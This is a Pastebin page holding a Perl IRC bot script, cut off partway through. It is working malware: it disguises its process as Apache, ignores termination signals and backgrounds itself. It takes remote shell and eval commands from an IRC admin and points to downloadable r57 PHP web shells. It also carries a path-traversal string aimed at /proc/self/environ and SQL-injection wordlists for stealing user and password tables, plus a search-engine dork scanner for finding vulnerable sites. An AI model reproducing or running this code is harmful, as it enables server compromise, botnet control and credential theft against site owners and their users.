Advertisement
MRC

SQL

MRC
Apr 17th, 2012
116
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 125.68 KB | None | 0 0
  1. #!/usr/bin/perl
  2. ################################################  
  3. use HTTP::Request;                             #
  4. use HTTP::Request::Common;                     #
  5. use HTTP::Request::Common qw(POST);            #
  6. use LWP::Simple;                               #
  7. use LWP 5.53;                                  #
  8. use LWP::UserAgent;                            #
  9. use Socket;                                    #
  10. use IO::Socket;                                #
  11. use IO::Socket::INET;                          #
  12. use IO::Select;                                #
  13. use MIME::Base64;                       #
  14. ################################################
  15.  
  16. my $datetime = localtime;
  17.  
  18. my $fakeproc  = "/usr/sbin/apache2 -k start";
  19. my $ircserver = "irc.gigachat.net";
  20. my $ircport   = "6667";
  21. my $nickname  = "fudeu{".int(rand(10000))."}";
  22. my $ident     = "udidi";
  23. my $channel   = "#get_unS4fety.project";
  24. my $admin     = "MRC";
  25. my $fullname  = "satannnn";
  26.  
  27. my $sqlcmd    = '!sql';
  28. my $sqllogo   = "15,1(4@9SQL15)";
  29.  
  30. my $injector  = "http://chwines.ie/var/logs";
  31. my $botshell  = "https://raw.githubusercontent.com/Snifer/L4bsForShell/master/PHP/r57.txt";
  32. my $botshell2  = "https://raw.githubusercontent.com/Snifer/L4bsForShell/master/PHP/r57.txt";
  33. my $thumbshell = "https://pastebin.com/raw/A0MdcYDe";
  34.  
  35. my @uagents   = ("Microsoft Internet Explorer/4.0b1 (Windows 95)","Mozilla/1.22 (compatible; MSIE 1.5; Windows NT)","Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)","Mozilla/2.0 (compatible; MSIE 3.01; Windows 98)","Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9 sun4u; X11)","Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)","Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)","Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)","Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)","Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)","Mozilla/4.0 (compatible; MSIE 7.0b; Win32)","Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)","Microsoft Pocket Internet Explorer/0.6","Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)","MOT-MPx220/1.400 Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone;","Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.1; Windows NT 5.1;)","Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1;)","Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)","Advanced Browser (http://www.avantbrowser.com)","Avant Browser (http://www.avantbrowser.com)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)","Mozilla/5.0 (compatible; Konqueror/3.1-rc3; i686 Linux; 20020515)","Mozilla/5.0 (compatible; Konqueror/3.1; Linux 2.4.22-10mdk; X11; i686; fr, fr_FR)","Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007","Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511","Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/20050929","Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0","Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox","Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/20050609 Firefox/1.0.4","Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6","Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7","Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4","Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4","Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8) Gecko/20051107 Firefox/1.5","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1","Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1","Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.9a1) Gecko/20051002 Firefox/1.6a1","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1","Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1","Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b2) Gecko/20060710 Firefox/2.0b2","Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20060918 Firefox/2.0","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051219 SeaMonkey/1.0b","Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0","Mozilla/3.0 (OS/2; U)","Mozilla/3.0 (X11; I; SunOS 5.4 sun4m)","Mozilla/4.61 (Macintosh; I; PPC)","Mozilla/4.61 [en] (OS/2; U)","Mozilla/4.7C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; I; PPC)","Mozilla/4.8 [en] (Windows NT 5.0; U)");
  36. my $uagent    = $uagents[rand(scalar(@uagents))];
  37. my $lfdtest   = "../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00";
  38. my $open_test = "/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html";
  39. my $loko_output = ("FCKeditor - Resources Browser");
  40. my $open_output = ("FCKeditor - Connectors Tests");
  41.  
  42. my @tabele = ('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario',
  43. 'name','names','nombre','nombres','usuarios','member','members','admin_table','miembro','miembros','membername','admins','administrator',
  44. 'administrators','passwd','password','passwords','pass','Pass','tAdmin','tadmin','user_password','user_passwords','user_name','user_names',
  45. 'member_password','mods','mod','moderators','moderator','user_email','user_emails','user_mail','user_mails','mail','emails','email','address',
  46. 'e-mail','emailaddress','correo','correos','phpbb_users','log','logins','login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
  47. 'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador','tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id',
  48. 'sistema_usuario','sistema_password','contrasena','auth','key','senha','tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member',
  49. 'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization','membros','utilizadores','staff','nuke_authors','accounts','account','accnts',
  50. 'associated','accnt','customers','customer','membres','administrateur','utilisateur','tuser','tusers','utilisateurs','password','amministratore','god','God','authors',
  51. 'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members','Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');
  52. my @kolumny = ('admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email',
  53. 'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail',
  54. 'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author',
  55. 'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo',
  56. 'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',
  57. 'user_pwd','u_pass','clave','usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username');
  58. $SIG{'INT'}   = 'IGNORE';
  59. $SIG{'HUP'}   = 'IGNORE';
  60. $SIG{'TERM'}  = 'IGNORE';
  61. $SIG{'CHLD'}  = 'IGNORE';
  62. $SIG{'PS'}    = 'IGNORE';
  63. $ircserver = "$ARGV[0]" if $ARGV[0];
  64. $0 = "$fakeproc"."\0" x 16;;
  65. my $pid = fork;
  66. exit if $pid;
  67. die "\n[!] algo errado !!!: $!\n\n" unless defined($pid);
  68.  
  69. our %irc_servers;
  70. our %DCC;
  71. my $dcc_sel = new IO::Select->new();
  72. $sel_client = IO::Select->new();
  73. sub sendraw {
  74.     if ($#_ == '1') {
  75.     my $socket = $_[0];
  76.     print $socket "$_[1]\n";
  77.     } else {
  78.         print $IRC_cur_socket "$_[0]\n";
  79.     }
  80. }
  81.  
  82. sub connector {
  83.     my $mynick = $_[0];
  84.     my $ircserver_con = $_[1];
  85.     my $ircport_con = $_[2];
  86.     my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
  87.     if (defined($IRC_socket)) {
  88.         $IRC_cur_socket = $IRC_socket;
  89.         $IRC_socket->autoflush(1);
  90.         $sel_client->add($IRC_socket);
  91. $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
  92.         $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
  93.         $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  94.         $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
  95.         nick("$mynick");
  96.         my $versi   = "uuuuudidi]";
  97.         sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$versi");
  98.         sleep (1);}}
  99. sub parse {
  100.     my $servarg = shift;
  101.     if ($servarg =~ /^PING \:(.*)/) {
  102.         sendraw("PONG :$1");
  103.     }
  104.     elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  105.         if (lc($1) eq lc($mynick)) {
  106.             $mynick = $4;
  107.             $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  108.         }
  109.     }
  110.     elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  111.         nick("$mynick".int rand(1));
  112.     }
  113.     elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  114.         $mynick = $2;
  115.         $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  116.         $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  117.         sendraw("MODE $mynick +i");
  118.         sendraw("JOIN $channel");
  119.         sleep(2);
  120.         sendraw("PRIVMSG $admin :Olá $admin estou aqui !!!");
  121.     }
  122. }
  123. my $line_temp;
  124. while( 1 ) {
  125.     while (!(keys(%irc_servers))) { &connector("$nickname", "$ircserver", "$ircport"); }
  126.     select(undef, undef, undef, 0.01);;
  127.     delete($irc_servers{''}) if (defined($irc_servers{''}));
  128.     my @ready = $sel_client->can_read(0);
  129.     next unless(@ready);
  130.     foreach $fh (@ready) {
  131.         $IRC_cur_socket = $fh;
  132.         $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
  133.         $nread = sysread($fh, $ircmsg, 4096);
  134.         if ($nread == 0) {
  135.             $sel_client->remove($fh);
  136.             $fh->close;
  137.             delete($irc_servers{$fh});
  138.         }
  139.         @lines = split (/\n/, $ircmsg);
  140.         $ircmsg =~ s/\r\n$//;
  141.  
  142.         if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  143.             my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);
  144. my $engine ="google,alltheweb,yahoo,sapo,altavista,ask,GooGLe2,GooGLe3,wiki,onet,snz,seznam,naver,amidalla";
  145.             if ($path eq $mynick) {
  146.                 if ($msg =~ /^PING (.*)/) {
  147.                     sendraw("NOTICE $nick :PING $1");
  148.                 }
  149.                 if ($msg =~ /^VERSION/) {
  150.                     sendraw("NOTICE $nick :VERSION mIRC v6.17 Khaled Mardam-Bey");
  151.                 }
  152.                 if ($msg =~ /^TIME/) {
  153.                     sendraw("NOTICE $nick :TIME ".$datetime."");
  154.                 }
  155.                 if (&isAdmin($nick) && $msg eq "!die") {
  156.                     &shell("$path","kill -9 $$");
  157.                 }
  158.                 if (&isAdmin($nick) && $msg eq "!killall") {
  159.                     &shell("$path","killall -9 perl");
  160.                 }
  161.                 if (&isAdmin($nick) && $msg eq "!reset") {
  162.                     sendraw("QUIT :Restarting...");
  163.                 }
  164.                 if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
  165.                     sendraw("JOIN #".$1);
  166.                 }
  167.                 if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  168.                     sendraw("PART #".$1);
  169.                 }
  170.                 if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
  171.                     sendraw("NICK ".$1);
  172.                 }
  173.                 if (&isAdmin($nick) && $msg =~ /^!pid/) {
  174.                     sendraw($IRC_cur_socket, "PRIVMSG $nick :9,1Fake Process/PID : $fakeproc - $$");
  175.                 }
  176.                 if (&isAdmin($nick) && $msg !~ /^!/) {
  177.                     &shell("$nick","$msg");
  178.                 }
  179.   if (&isAdmin($nick) && $msg=~ /^$cmdlfi\s+(.*?)\s+(.*)/){
  180. my $url = $1.$lfdtest;
  181. my $cmd = $2;
  182. &cmdlfi($url,$cmd,$nick);
  183. }
  184. if (&isAdmin($nick) && $msg=~ /^$cmdxml\s+(.*?)\s+(.*)/){
  185. my $url = $1;
  186. my $cmd = $2;
  187. &cmdxml($url,$cmd,$nick);
  188. }
  189.            }
  190.             else {
  191.                 if (&isAdmin($nick) && $msg eq "!die") {
  192.                     &shell("$path","kill -9 $$");
  193.                 }
  194.                 if (&isAdmin($nick) && $msg eq "!killall") {
  195.                     &shell("$path","killall -9 perl");
  196.                 }
  197.                 if (&isAdmin($nick) && $msg eq "!reset") {
  198.                     sendraw("QUIT :Restarting...");
  199.                 }
  200.                 if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
  201.                     sendraw("JOIN #".$1);
  202.                 }
  203.                 if (&isAdmin($nick) && $msg eq "!part") {
  204.                     sendraw("PART $path");
  205.                 }
  206.                 if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  207.                     sendraw("PART #".$1);
  208.                 }
  209.                 if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) {
  210.                     &shell("$path","$1");
  211.                 }
  212.                 if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) {
  213.                     &shell("$path","$1");
  214.                 }
  215. if (&isAdmin($nick) && $msg =~ /^!eval (.*)/) {
  216. eval "$1";
  217. }
  218. ##################################################################### HIT
  219.  
  220. if ($msg=~ /^$cmdlfi\s+(.+?)\s+(.*)/){
  221. my $url = $1.$lfdtest;
  222. my $cmd = $2;
  223. &cmdlfi($url,$cmd,$path);
  224. }
  225. if ($msg=~ /^$cmdxml\s+(.+?)\s+(.*)/){
  226. my $url = $1;
  227. my $cmd = $2;
  228. &cmdxml($url,$cmd,$path);
  229. }
  230.  
  231.                 ##################################################################### HELP COMMAND
  232.  
  233.                 if ($msg=~ /^!help/) {
  234.                     my $helplogo = "15,1(4@9Help15)";
  235.                     &msg("$path","$helplogo 14 #####################9[HELP]14##############################");
  236.                     &msg("$path","$helplogo 7 ( $rficmd|$lficmd|$sqlcmd|$xmlcmd|$thumbcmd [bug][dork]|!portscan[ip][port]) )");
  237.                     &msg("$path","$helplogo 7 ( $cmdlfi|$cmdxml) [target][cmd] )");
  238.                     &msg("$path","$helplogo 7 ( $zencmd | $oscocmd | $lokocmd | $opcmd [dork] ) ");sleep(2);
  239.                     &msg("$path","$helplogo 7 ( !about|!engine|!version|!pid )");
  240.                     &msg("$path","$helplogo 14 ######################9[END HELP]14#########################");
  241.                 }
  242.                 if ($msg=~ /^!engine/) {
  243.                     my $enginelogo = "15,1(4@9EnginE15)";
  244.                     &msg("$path","$enginelogo 4 google,alltheweb,bing,altavista,ask,uol,yahoo,sapo,tiscali,clusty,gutser,exalead,lycos,virgilio,webde,hotbot,aol,lygo,yause,baidu,black,onet,sizuka,walla,seznam,naver,gibla,yebol,amidalla,kvasir,buscar,excite,interia,snz,rambler,yandex,blackle,wiki,yause,rose,duck,mamma,fireball,abacho,netscape,webcrawl,live,GooGLe2,GooGLe3");
  245.                    
  246.                 }
  247.                 if ($msg=~ /^!about/) {
  248.                     my $aboutlogo = "15,1(4@9About Bot15)";
  249.                     &msg("$path","$aboutlogo 9¬¬");
  250.                     &msg("$path","$aboutlogo 13MRC uuuuuudidi");
  251.                     &msg("$path","$aboutlogo 7corno kk");
  252.                 }
  253.                 if ($msg=~ /^!version/) {
  254.                     my $versionlogo = "15,1(4@9Version15)";
  255.                     &msg("$path","$versionlogo 13 21/06/13");
  256.                 }
  257.                 if ($msg=~ /^!respon/ || $msg=~ /^!id/) {
  258.                     if (&isFound($injector,"aXBheXMg=")) {
  259.                         &msg("$path","15,1(4@9Injector15)13 PHP Shell 9ATIVADO!!!");
  260.                     } else {
  261.                         &msg("$path","15,1(4@9Injector15)13 PHP Shell 4PERDIDO!!!");
  262.                     }
  263.                 }
  264.                 if (&isAdmin($nick) && $msg =~ /^!pid/) {
  265.                     &notice("$nick","9,1Fake Process/PID : 8$fakeproc - $$");
  266.                 }
  267.  
  268.  
  269.  
  270.                 ##################################################################### SQL SCAN
  271.  
  272.                 if ($msg=~ /^$sqlcmd\s+(.+?)\s+(.*)/) {
  273.                     if (my $pid = fork) {
  274.                         waitpid($pid, 0);
  275.                     }
  276.                     else {
  277.                         if (fork) { exit; } else {
  278.                             my ($bug,$dork) = ($1,$2);
  279.                             &msg("$path","$sqllogo 9Dork :4 $dork");
  280.                             &msg("$path","$sqllogo 13Bugz :4 $bug");
  281.                             &msg("$path","$sqllogo 8Search Engine Loading ...");
  282.                             &scan_start($path,$bug,$dork,$engine,4);
  283.                         }
  284.                         exit;
  285.                     }
  286.                 }
  287.  
  288.  #######################################################################################
  289.             }
  290.         }
  291.  
  292.         for(my $c=0; $c<= $#lines; $c++) {
  293.             $line = $lines[$c];
  294.             $line = $line_temp.$line if ($line_temp);
  295.             $line_temp = '';
  296.             $line =~ s/\r$//;
  297.             unless ($c == $#lines) {
  298.                 &parse("$line");
  299.             } else {
  300.                 if ($#lines == 0) {
  301.                     &parse("$line");
  302.                 } elsif ($lines[$c] =~ /\r$/) {
  303.                     &parse("$line");
  304.                 } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  305.                     &parse("$line");
  306.                 } else {
  307.                     $line_temp = $line;
  308.                 }
  309.             }
  310.         }
  311.     }
  312. }
  313.  
  314. #########################################
  315. sub type () {
  316. my ($chan,$bug,$dork,$engine,$type) = @_;
  317.    if ($type == 1){&rfi($chan,$bug,$dork,$engine);}
  318. elsif ($type == 2){&lfi($chan,$bug,$dork,$engine);}
  319. elsif ($type == 3){&xml($chan,$bug,$dork,$engine);}
  320. elsif ($type == 4){&sql($chan,$bug,$dork,$engine);}
  321. elsif ($type == 5){&osco($chan,$bug,$dork,$engine);}
  322. elsif ($type == 6){&loko($chan,$bug,$dork,$engine);}
  323. elsif ($type == 7){&op($chan,$bug,$dork,$engine);}
  324. elsif ($type == 8){&zen($chan,$bug,$dork,$engine);}
  325. elsif ($type == 9){&thumb($chan,$bug,$dork,$engine);}
  326. }
  327. sub scan_start() {
  328. my ($chan,$bug,$dork,$engine,$type) = @_;
  329.     if ($engine =~ /google/i) {
  330.         if (my $pid = fork) { waitpid($pid, 0); }
  331.         else { if (fork) { exit; } else {
  332.             &type($chan,$bug,$dork,"GooGLe",$type);
  333.         } exit; }
  334.     }
  335.     if ($engine =~ /alltheweb/i) {
  336.         if ($pid = fork) { waitpid($pid, 0); }
  337.         else { if (fork) { exit; } else {
  338.             &type($chan,$bug,$dork,"AllTheWeb",$type);
  339.         } exit; }
  340.     }
  341.     if ($engine =~ /bing/i) {
  342.         if ($pid = fork) { waitpid($pid, 0); }
  343.         else { if (fork) { exit; } else {
  344.             &type($chan,$bug,$dork,"Bing",$type);
  345.         } exit; }
  346.     }
  347.     if ($engine =~ /altavista/i) {
  348.         if ($pid = fork) { waitpid($pid, 0); }
  349.         else { if (fork) { exit; } else {
  350.             &type($chan,$bug,$dork,"ALtaViSTa",$type);
  351.         } exit; }
  352.     }
  353.     if ($engine =~ /ask/i) {
  354.         if ($pid = fork) { waitpid($pid, 0); }
  355.         else { if (fork) { exit; } else {
  356.             &type($chan,$bug,$dork,"AsK",$type);
  357.         } exit; }
  358.     }
  359.     if ($engine =~ /uol/i) {
  360.         if ($pid = fork) { waitpid($pid, 0); }
  361.         else { if (fork) { exit; } else {
  362.             &type($chan,$bug,$dork,"UoL",$type);
  363.         } exit; }
  364.     }
  365.     if ($engine =~ /yahoo/i) {
  366.         if ($pid = fork) { waitpid($pid, 0); }
  367.         else { if (fork) { exit; } else {
  368.             &type($chan,$bug,$dork,"YahOo",$type);
  369.         } exit; }
  370.     }
  371.     if ($engine =~ /sapo/i) {
  372.         if ($pid = fork) { waitpid($pid, 0); }
  373.         else { if (fork) { exit; } else {
  374.         &type($chan,$bug,$dork,"SaPo",$type);
  375.         } exit; }
  376.     }
  377.     if ($engine =~ /tiscali/i) {
  378.         if ($pid = fork) { waitpid($pid, 0); }
  379.         else { if (fork) { exit; } else {
  380.         &type($chan,$bug,$dork,"TisCali",$type);
  381.         } exit; }
  382.     }
  383.     if ($engine =~ /clusty/i) {
  384.         if ($pid = fork) { waitpid($pid, 0); }
  385.         else { if (fork) { exit; } else {
  386.         &type($chan,$bug,$dork,"CluSty",$type);
  387.         } exit; }
  388.     }
  389.     if ($engine =~ /gutser/i) {
  390.         if ($pid = fork) { waitpid($pid, 0); }
  391.         else { if (fork) { exit; } else {
  392.             &type($chan,$bug,$dork,"GutSer",$type);
  393.         } exit; }
  394.     }
  395.     if ($engine =~ /exalead/i) {
  396.         if ($pid = fork) { waitpid($pid, 0); }
  397.         else { if (fork) { exit; } else {
  398.         &type($chan,$bug,$dork,"ExaLead",$type);
  399.         } exit; }
  400.     }
  401.     if ($engine =~ /lycos/i) {
  402.         if ($pid = fork) { waitpid($pid, 0); }
  403.         else { if (fork) { exit; } else {
  404.         &type($chan,$bug,$dork,"LyCos",$type);
  405.         } exit; }
  406.     }
  407.     if ($engine =~ /virgilio/i) {
  408.         if ($pid = fork) { waitpid($pid, 0); }
  409.         else { if (fork) { exit; } else {
  410.         &type($chan,$bug,$dork,"VirgiLio",$type);
  411.         } exit; }
  412.     }
  413.     if ($engine =~ /webde/i) {
  414.         if ($pid = fork) { waitpid($pid, 0); }
  415.         else { if (fork) { exit; } else {
  416.         &type($chan,$bug,$dork,"WebDe",$type);
  417.         } exit; }
  418.     }
  419.     if ($engine =~ /hotbot/i) {
  420.         if ($pid = fork) { waitpid($pid, 0); }
  421.         else { if (fork) { exit; } else {
  422.         &type($chan,$bug,$dork,"HotBot",$type);
  423.         } exit; }
  424.     }
  425.     if ($engine =~ /aol/i) {
  426.         if ($pid = fork) { waitpid($pid, 0); }
  427.         else { if (fork) { exit; } else {
  428.         &type($chan,$bug,$dork,"AoL",$type);
  429.         } exit; }
  430.     }
  431.     if ($engine =~ /lygo/i) {
  432.         if ($pid = fork) { waitpid($pid, 0); }
  433.         else { if (fork) { exit; } else {
  434.         &type($chan,$bug,$dork,"LyGo",$type);
  435.         } exit; }
  436.     }
  437.     if ($engine =~ /yause/i) {
  438.         if ($pid = fork) { waitpid($pid, 0); }
  439.         else { if (fork) { exit; } else {
  440.         &type($chan,$bug,$dork,"YauSe",$type);
  441.         } exit; }
  442.     }
  443.     if ($engine =~ /baidu/i) {
  444.         if ($pid = fork) { waitpid($pid, 0); }
  445.         else { if (fork) { exit; } else {
  446.         &type($chan,$bug,$dork,"BaiDu",$type);
  447.         } exit; }
  448.     }
  449.     if ($engine =~ /black/i) {
  450.         if ($pid = fork) { waitpid($pid, 0); }
  451.         else { if (fork) { exit; } else {
  452.         &type($chan,$bug,$dork,"BLacK",$type);
  453.         } exit; }
  454.     }
  455.     if ($engine =~ /onet/i) {
  456.         if ($pid = fork) { waitpid($pid, 0); }
  457.         else { if (fork) { exit; } else {
  458.         &type($chan,$bug,$dork,"oNeT",$type);
  459.         } exit; }
  460.     }
  461.     if ($engine =~ /sizuka/i) {
  462.         if ($pid = fork) { waitpid($pid, 0); }
  463.         else { if (fork) { exit; } else {
  464.         &type($chan,$bug,$dork,"SiZuka",$type);
  465.         } exit; }
  466.     }
  467.     if ($engine =~ /walla/i) {
  468.         if ($pid = fork) { waitpid($pid, 0); }
  469.         else { if (fork) { exit; } else {
  470.         &type($chan,$bug,$dork,"WaLLa",$type);
  471.         } exit; }
  472.     }
  473.     if ($engine =~ /seznam/i) {
  474.         if ($pid = fork) { waitpid($pid, 0); }
  475.         else { if (fork) { exit; } else {
  476.         &type($chan,$bug,$dork,"SeZnaM",$type);
  477.         } exit; }
  478.     }
  479.     if ($engine =~ /naver/i) {
  480.         if ($pid = fork) { waitpid($pid, 0); }
  481.         else { if (fork) { exit; } else {
  482.         &type($chan,$bug,$dork,"NaVeR",$type);
  483.         } exit; }
  484.     }
  485.     if ($engine =~ /gibla/i) {
  486.         if ($pid = fork) { waitpid($pid, 0); }
  487.         else { if (fork) { exit; } else {
  488.         &type($chan,$bug,$dork,"GiBLa",$type);
  489.         } exit; }
  490.     }
  491.     if ($engine =~ /yebol/i) {
  492.         if ($pid = fork) { waitpid($pid, 0); }
  493.         else { if (fork) { exit; } else {
  494.         &type($chan,$bug,$dork,"Yebol",$type);
  495.         } exit; }
  496.     }
  497.     if ($engine =~ /amidalla/i) {
  498.         if ($pid = fork) { waitpid($pid, 0); }
  499.         else { if (fork) { exit; } else {
  500.         &type($chan,$bug,$dork,"Amidalla",$type);
  501.         } exit; }
  502.     }
  503.     if ($engine =~ /kvasir/i) {
  504.         if ($pid = fork) { waitpid($pid, 0); }
  505.         else { if (fork) { exit; } else {
  506.         &type($chan,$bug,$dork,"Kvasir",$type);
  507.         } exit; }
  508.     }
  509.     if ($engine =~ /buscar/i) {
  510.         if ($pid = fork) { waitpid($pid, 0); }
  511.         else { if (fork) { exit; } else {
  512.         &type($chan,$bug,$dork,"Buscar",$type);
  513.         } exit; }
  514.     }
  515.     if ($engine =~ /excite/i) {
  516.         if ($pid = fork) { waitpid($pid, 0); }
  517.         else { if (fork) { exit; } else {
  518.         &type($chan,$bug,$dork,"Excite",$type);
  519.         } exit; }
  520.     }
  521.     if ($engine =~ /interia/i) {
  522.         if ($pid = fork) { waitpid($pid, 0); }
  523.         else { if (fork) { exit; } else {
  524.         &type($chan,$bug,$dork,"Interia",$type);
  525.         } exit; }
  526.     }
  527.     if ($engine =~ /snz/i) {
  528.         if ($pid = fork) { waitpid($pid, 0); }
  529.         else { if (fork) { exit; } else {
  530.         &type($chan,$bug,$dork,"Snz",$type);
  531.         } exit; }
  532.     }
  533.     if ($engine =~ /rambler/i) {
  534.         if ($pid = fork) { waitpid($pid, 0); }
  535.         else { if (fork) { exit; } else {
  536.         &type($chan,$bug,$dork,"Rambler",$type);
  537.         } exit; }
  538.     }
  539.     if ($engine =~ /yandex/i) {
  540.         if ($pid = fork) { waitpid($pid, 0); }
  541.         else { if (fork) { exit; } else {
  542.         &type($chan,$bug,$dork,"Yandex",$type);
  543.         } exit; }
  544.     }
  545.     if ($engine =~ /blackle/i) {
  546.         if ($pid = fork) { waitpid($pid, 0); }
  547.         else { if (fork) { exit; } else {
  548.         &type($chan,$bug,$dork,"Blackle",$type);
  549.         } exit; }
  550.     }
  551.     if ($engine =~ /wiki/i) {
  552.         if ($pid = fork) { waitpid($pid, 0); }
  553.         else { if (fork) { exit; } else {
  554.         &type($chan,$bug,$dork,"Wikipedia",$type);
  555.         } exit; }
  556.     }
  557.     if ($engine =~ /yause/i) {
  558.         if ($pid = fork) { waitpid($pid, 0); }
  559.         else { if (fork) { exit; } else {
  560.         &type($chan,$bug,$dork,"YauSe",$type);
  561.         } exit; }
  562.     }
  563.     if ($engine =~ /rose/i) {
  564.         if ($pid = fork) { waitpid($pid, 0); }
  565.         else { if (fork) { exit; } else {
  566.         &type($chan,$bug,$dork,"RoSe",$type);
  567.         } exit; }
  568.     }
  569.     if ($engine =~ /duck/i) {
  570.         if ($pid = fork) { waitpid($pid, 0); }
  571.         else { if (fork) { exit; } else {
  572.         &type($chan,$bug,$dork,"DucK",$type);
  573.         } exit; }
  574.     }
  575.     if ($engine =~ /mamma/i) {
  576.         if ($pid = fork) { waitpid($pid, 0); }
  577.         else { if (fork) { exit; } else {
